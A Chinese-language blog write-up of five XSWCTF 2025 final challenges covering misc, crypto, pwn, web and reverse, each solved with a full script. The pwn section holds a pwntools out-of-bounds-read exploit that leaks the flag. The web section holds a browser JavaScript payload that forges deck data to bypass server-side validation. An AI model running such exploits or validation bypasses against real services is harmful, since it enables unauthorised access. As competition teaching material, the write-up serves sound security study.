XSWCTF 2025 决赛 WRITEUP
使用的AI工具:Gemini 3.0 pro、Gemini2.5 pro、GPT5.1 pro、GPT5.1 Thinking
用途:A1题目中仅提供相关资料的查找、A2题目中(Web)使用MCP辅助作答
说真的,没想到能进决赛,结果总排15、校排5,还拿了个小奖,知足了(
MISC
S1ng
观察文件,发现 Break it down , Scream it!等字样,搜索发现这是Rockstar language
其中有诗意字面量,将was后的字符串按单词分割,然后取长度模10,然后在通过ASCII码转换到字符。
单独把代表输出的Scream摘出来就有:
Scream Music!
Scream Jamming!
Scream Manba!
Scream Hajimi!
Scream Tom!
Scream Pitter!
Scream Mike!
Scream Sarah!
Scream David!
Scream Lisa!
Scream Emma!
Scream John!
Scream Kate!
Scream Mark!
Scream Anna!
Scream Chris!
Scream Julia!
Scream Ryan!
Scream Matt!
Scream Amy!
Scream Nick!
Zoe was a a rhythm Scream it!
Paul was sweet it Scream it!
Rock is a u band Scream it!按上述规则组合就有Y0u_4re_a_r0ck_st4r,按正则加上得到flag走人
或者也可以用python搓一个按顺序解密的脚本,可以省一点力气(?
import re
FILENAME = "s1ng"
def poetic_number(text: str) -> int:
tokens = re.findall(r"[A-Za-z0-9]+", text)
digits = []
for t in tokens:
if t.isdigit():
digits.append(str(int(t) % 10))
else:
digits.append(str(len(t) % 10))
return int("".join(digits)) if digits else 0
def flag():
with open(FILENAME, "r", encoding="utf-8", errors="ignore") as f:
lines = f.readlines()
vals = {}
for line in lines:
line = line.rstrip("\n")
m = re.match(
r"^([A-Za-z][A-Za-z0-9']*)\s+"
r"(was|is|are|were|been|being)\s+(.+)$",
line
)
if not m:
continue
name, verb, rest = m.groups()
vals[name] = poetic_number(rest)
chars = {k: (chr(v) if 0 <= v < 256 else "?") for k, v in vals.items()}
order = [
"Pitter", "Mike", "Sarah", "David", "Lisa",
"Emma", "John", "Kate", "Mark", "Anna",
"Chris", "Julia", "Ryan", "Matt", "Amy",
"Nick", "Zoe", "Paul", "Rock",
]
inner = "".join(chars[name] for name in order)
return f"XSWCTF{{{inner}}}"
print(flag())
XSWCTF{Y0u_4re_a_r0ck_st4r}
Crypto
Loss N-4
密码学的签到题,先看代码。

发现是经典的RSA,但是nc服务器发现只给了c,d缺少了n。
代码中p和q是相邻的素数,而n是p和q的乘积,所以采用开方取整的形式就可以大约估计出n的值,于是可以逆向解密。
给出脚本
from Crypto.Util.number import isPrime, long_to_bytes
import math
c = 39881154855463719137991225773483608335299949922658023909239528200647461672408524004952359345109785730000483515480417143377099076274128157504514132264769107266582613799375832401122530258304372008085451639184716642045998626191894845118032151285888775347448656809566771742115561786712077133781430318839499568921
d = 5020783175658207187718864587281086950240839053579859621112613576048628151880762913936875646690368214142742785987054606328392948176293398096191779665638954335428132577080710558046502810565797758870432712665465041905108390645627208874470736974559631494055467122376273150265000152903176446790629691932244293573
e = 65537
s = e * d - 1
ed = e * d
n_min = 1 << 1022
n_max = (1 << 1024) - 1
k_low = ed // n_max
k_high = 2 * ed // n_min
p = q = n = None
for k in range(k_low - 5000, k_high + 5000):
if k <= 0:
continue
if s % k != 0:
continue
phi = s // k
a = math.isqrt(phi)
for delta in range(-3000, 3001):
cand_p = a + delta
if cand_p <= 2:
continue
if phi % (cand_p - 1) != 0:
continue
cand_q = phi // (cand_p - 1) + 1
if cand_q <= cand_p:
continue
if not isPrime(cand_p) or not isPrime(cand_q):
continue
tmp = cand_p + 1
ok = True
while tmp < cand_q:
if isPrime(tmp):
ok = False
break
tmp += 1
if not ok:
continue
p, q = cand_p, cand_q
n = p * q
break
if n:
break
m = pow(c, d, n)
flag = long_to_bytes(m)
print(f"flag",flag)
得到flag走人

XSWCTF{YOU_kNoW_HOw_To_FactorizE_Ph1}
PWN
encoder
pwn的签到题
扔进IDA看一下main,发现是将大小写转换的程序



看到upper[256]和lower[256]中的字符大小写呼唤,其他的字符不变,不认识的字符改成 ?
漏洞在singed char做数组下标的OOB,也即
,当v3是负数时,就会向前越界读取,刚好upper上方就是flag,所以可以用这种方法读到flag,而lower离的远,选择跳过。
因此让v3 = (signed char)(0xC0 + k),就可以读到flag[k]对应的字节。
于是直接用python连接远程端口轮询。
from pwn import *
p = remote('127.0.0.1', 6882)
flag = b''
for k in range(64):
p.recvuntil(b'> ')
leak_byte = (0xC0 + k) & 0xff
payload = b'A' + bytes([leak_byte])
p.sendline(payload)
line = p.recvline().rstrip(b'\n')
if len(line) >= 2:
flag += line[1:2]
else:
flag += b'?'
if flag.endswith(b'}'):
break
print(flag)

得到flag走人
XSWCTF{0334210b-ea25-4e8e-a7ef-09fec7a14063}
WEB
Gw3nt
web签到题(?
进来发现有源码,下下来看看先,看完一波,结合网页,发现抽卡的核心逻辑在engine.py中控制。

其中resume_match函数没有对deck_order和deck_hash做严格的验证,只需要匹配就可以放行,所以考虑伪造deck_order。
使用JS payload
(async () => {
const TARGET = window.location.origin;
const START_DECK = ["shadow_lunge", "shadow_lunge", "double_trigger", "double_trigger", "night_veil", "night_veil", "chrono_draw", "chrono_draw", "siphon_curse", "siphon_curse"];
const EXPLOIT_DECK = [];
for(let i=0; i<10; i++) {
EXPLOIT_DECK.push("double_trigger");
EXPLOIT_DECK.push("shadow_lunge");
}
async function sha1(str) {
const enc = new TextEncoder();
const hash = await crypto.subtle.digest('SHA-1', enc.encode(str));
return Array.from(new Uint8Array(hash))
.map(v => v.toString(16).padStart(2, '0')).join('');
}
async function api(endpoint, data) {
const res = await fetch(`${TARGET}${endpoint}`, {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify(data)
});
return await res.json();
}
console.clear();
try {
let state = await api('/match/start', {
player_name: "WebHacker",
deck: START_DECK
});
const matchId = state.match_id;
const deckHash = await sha1(EXPLOIT_DECK.join("|"));
state = await api('/match/resume', {
match_id: matchId,
deck_order: EXPLOIT_DECK,
deck_hash: deckHash,
last_ack: state.action_seq
});
while (!state.winner) {
const turn = state.turn;
const mana = state.player.mana;
const hand = state.player.hand;
const hasSL = hand.includes("shadow_lunge");
const dtCount = hand.filter(c => c === "double_trigger").length;
if (hasSL) {
const dtToPlay = Math.min(dtCount, mana - 1);
if (dtToPlay > 0) {
for (let i = 0; i < dtToPlay; i++) {
state = await api('/match/play', { match_id: matchId, card_id: "double_trigger" });
if (state.winner) break;
}
}
if (!state.winner) {
state = await api('/match/play', { match_id: matchId, card_id: "shadow_lunge" });
}
}
if (state.winner) break;
state = await api('/match/end-turn', { match_id: matchId });
}
if (state.winner === 'player') {
console.log(`${state.flag_token}`);
}
} catch (e) {
console.error("error", e);
}
})();
在浏览器console运行JS脚本,拿到flag走人

XSWCTF{YOu_4re_AN_4we50me_gameR2ad6ad7d-1595-482c-8a04-b745f0667a7b}
Reverse
finaltip
exe就是DIE起手,发现没壳,丢IDA

进strings随便招句话跳进main,反编译查看类C


发现在v6处用sub_402A7D进行验证,进去看具体的验证方案

发现先用sub_402AFE生成255的表,搜索发现是RC4 KSA加密

然后进行sub_402CAC,变成一个长16的字符串

然后用sub_402C3D生成v5,返回v3,是简单的随机序列

最后,用sub_402D1A生成v4

观察代码的逻辑,以及字符串,发现是比较典型的AES加密
而AES的加密密钥在上几步中被反复加密,于是逆向求解即可
对RC4 KSA:
def rc4_ksa(key: bytes):
S = list(range(256))
j = 0
keylen = len(key)
for i in range(256):
j = (j + S[i] + key[i % keylen]) & 0xFF
S[i], S[j] = S[j], S[i]
return S
S = rc4_ksa(b"ishappyou")
hex1 = "".join(f"{b:02x}" for b in S[:8])
print(hex1)
v3=06f647ab2d4f1179
对普通随机序列:
def msvcrt_rand_seq(seed, n):
state = seed & 0xffffffff
res = []
for _ in range(n):
state = (state * 214013 + 2531011) & 0xffffffff
r = (state >> 16) & 0x7fff
res.append(r)
return res
seed = 0x44417a9f
rands = msvcrt_rand_seq(seed, 50)
s2_ints = [x & 0xFF for x in rands]
hex2 = ''.join(f"{b:02x}" for b in s2_ints[:8])
print(hex2)
v2=d1c959ef49178858
将得到的两段hex进行拼接,得到d1c959ef4917885806f647ab2d4f1179长31位
而AES密钥要求16位,注意sub_402D1A函数中描述

所以取8-23位作为AES密钥,也即4917885806f647ab
最后直接用脚本进行AES解密即可
from Crypto.Cipher import AES
key = b"4917885806f647ab"
cipher_hex = ("a2346bf169aa11eb0d8b839a95ca42d005728816c034f39fc5162c81094524a85483b78e41ab6b6ab63e278c2efda887")
cipher_bytes = bytes.fromhex(cipher_hex)
cipher = AES.new(key, AES.MODE_ECB)
flag = cipher.decrypt(cipher_bytes)
print(flag)得到flag,结束!

XSWCTF{1s_th1s_an_3z_2nd_h2ppy_try?}
这次只做出来了5道题,刚好是每个模块的签到题/(ㄒoㄒ)/~~
本文由 lbyxiaolizi 原创
采用 CC BY-NC-SA 4.0 协议进行许可
转载请注明出处:https://blog.vh.gs/ctf/XSWCTF-2025-final-WRITEUP.html
0 评论